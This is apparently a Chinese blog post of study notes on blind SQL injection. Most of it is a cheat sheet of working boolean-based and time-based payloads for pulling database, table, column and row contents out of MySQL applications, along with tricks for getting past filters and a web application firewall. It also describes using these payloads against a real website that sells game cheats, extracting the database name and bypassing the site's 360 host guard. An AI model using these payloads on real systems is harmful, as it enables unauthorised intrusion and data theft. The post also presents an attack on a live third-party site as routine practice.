sql盲注 :布尔注入及时间注入(合天网安学习整理)

盲注:

盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息。
盲注分为两类:
  1.布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据    你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
  2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

基于布尔的盲注

在页面中,如果正确执行了SQL语句,则返回一种页面,如果SQL语句执行错误,则执行另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的

注意比如 ‘  ” 的注释通常用 --+  或者 --%20 或者#来注释

注意闭合相关的语句比如 )’  “等

用limit的原因是由于在页面显示的数据不够所有来限制其输出,然后通过limit中数字的变化来把所有的数据求出来

注意语法语言的不同会导致注释的不同,所有注释符要注意变通

 

Payload

网上的payload一般是利用ascii()、substr()、length()结合进行利用

  • 获取数据库长度
and (select length(database()))=长度  #可以通过大于等于等来进行猜测以下同理
#database 数据库
  • 逐字猜解数据库名
and (select ascii(substr(database(),位数,1)))=ascii码  #位数的变化及从1,2,3变化即可通过ascii码以及猜解的数据库长度求出数据库的库名
  • 猜解表名数量
and (select count(table_name) from information_schema.tables where table_schema=database())=数量 
#
information_schema.tables 专门用来储存所以表,5.0以上版本才有
  • 猜解某个表长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度 #同理n从0来表示变化的表来求该库下的对应的表的长度
  • 逐位猜解表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables 
where table_schema = database() limit n,1)=ascii码 #从前面的1变化是求表名,而n变化是对应的库中的表
  • 猜解列名数量
and (select count(*) from information_schema.columns where table_schema =
 database() and table_name = 表名)=数量
#
information_schema.columns 专门用来存储所有的列
  • 猜解某个列长度
and (select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度
  • 逐位猜解列名
and (select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码
  • 判断数据的数量
and (select count(列名) from 表名)=数量
  • 猜解某条数据的长度
and (select length(列名) from 表名 limit n,1)=长度
  • 逐位猜解数据
and (select ascii(substr(user,位数,1)) from 表名 limit n,1)=ascii码

盲注tips

过滤了substr函数怎么办

用如下函数

left(str,index) 从左边第index开始截取  
right(str,index) 从右边第index开始截取  
substring(str,index) 从左边index开始截取    
mid(str,index,ken) 截取str 从index开始,截取len的长度  
lpad(str,len,padstr) rpad(str,len,padstr) 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果 

过滤了等于号怎么办?

1、用in()

2、用like

过滤了ascii()怎么办?

hex() bin() ord()

过滤了字段名怎么办?

1、order by 盲注

条件:有回显,给出字段结构

order by用于根据指定的列对结果集进行排序。一般上是从0-9a-z这样排序,不区分大小写。先看下id为1的查询结果

执行如下payload

select * from users where id=1 union select 1,'d',3 order by 2

发现我们联合查询的数据d排在前面
再执行如下payload

select * from users where id=1 union select 1,'z',3 order by 2

发现联合查询的数据z排在后面了。这是什么意思呢?第一次联合查询的d,排在前面,是因为id为1的数据第一位是d,所以排在前面了。而id为1的数据第一位不是z,所以z就排在后面了,我们可以利用这个特性来进行布尔盲注,只要猜0-9,a-z,逐字猜解就好

2、子查询

这个东西没啥好解释的,直接看payload吧

select * from users where id=-1 union select 1,2,x.2 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)x

实例演示

一个卖吃鸡外挂的网站 ,创建订单那存在SQL注入,利用上面常规payload获取到数据库名了,数据库名为chiji,进行到获取表数量就开始拦截了。 发现是360主机卫士拦截了,本来想按照bypass老哥发的文章进行绕过的,发现各种方法都不行,可能是站长修改了规则。自己测试,发现select 1不拦截。select 1 from不拦截。select 1 from 1拦截。所以我们要破坏select from的结构才能进行绕过。后来询问@撕夜师傅发现去掉from前面的空格即可绕过。后面的步骤参考上面的payload即可

基于时间的盲注

布尔盲注是根据页面正常否进行注入,而时间盲注则是通过SQL语句查询的时间来进行注入,一般是在页面无回显,无报错的情况下使用

可以通过F12来看其页面回显的时间与布尔盲注是一样的

 

  • 猜解数据库长度
and if((select length(database()))=长度,sleep(6),0)
  • 猜解数据库名
and if((select ascii(substr(database(),位数,1))=ascii码),sleep(6),0)
  • 判断表名的数量
and if((select count(table_name) from information_schema.tables where table_schema=database())=个数,sleep(6),0)
  • 判断某个表名的长度
and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度,sleep(6),0)
  • 逐位猜表名
and if((select ascii(substr(table_name,位数,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii码,sleep(6),0)
  • 判断列名数量
and if((select count(column_name) from information_schema.columns where table_name="表名")=个数,sleep(6),0)
  • 判断某个列名的长度
and if((select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度,sleep(6),0)
  • 逐位猜列名
and if((select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码,sleep(6),0)
  • 判断数据的数量
and if((select count(列名) from 表名)=个数,sleep(6),0)
  • 判断某个数据的长度
and if((select length(列名) from 表名)=长度,sleep(6),0)
  • 逐位猜数据
and if((select ascii(substr(列名,n,1)) from 表名)=ascii码,sleep(6),0)

时间盲注小tips

如果过滤了sleep,还可以用benchmark(),这个函数第一个值填要执行的次数,第二个填写要执行的表达式

 select * from users where id=1 and if(ascii(substring((database()),1,1))>1,(select benchmark(10000000,md5(0x41))),1)

转载文章

https://sqlmap.wiki/post/sql%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0%E4%B9%8B%E7%9B%B2%E6%B3%A8/

https://www.jianshu.com/p/65f05e7cc957

 

posted @ 2020-02-22 15:12  adsry  阅读(1808)  评论(0编辑  收藏  举报